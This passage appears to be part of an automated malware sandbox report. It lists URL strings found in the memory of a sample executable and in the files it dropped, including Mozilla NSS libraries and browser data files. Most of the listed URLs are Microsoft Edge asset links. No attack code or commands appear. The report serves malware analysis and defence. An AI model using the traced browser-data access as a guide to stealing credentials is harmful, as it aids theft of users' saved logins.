Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_464.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: file.exe, file.exe, 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2078759426.000000001DB33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2085720544.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_464.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 6c10faac-11e3-4352-830f-3be4db53e3b9.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016D2000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016D2000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 6c10faac-11e3-4352-830f-3be4db53e3b9.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 6c10faac-11e3-4352-830f-3be4db53e3b9.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016D2000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2059475906.00000000016D2000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
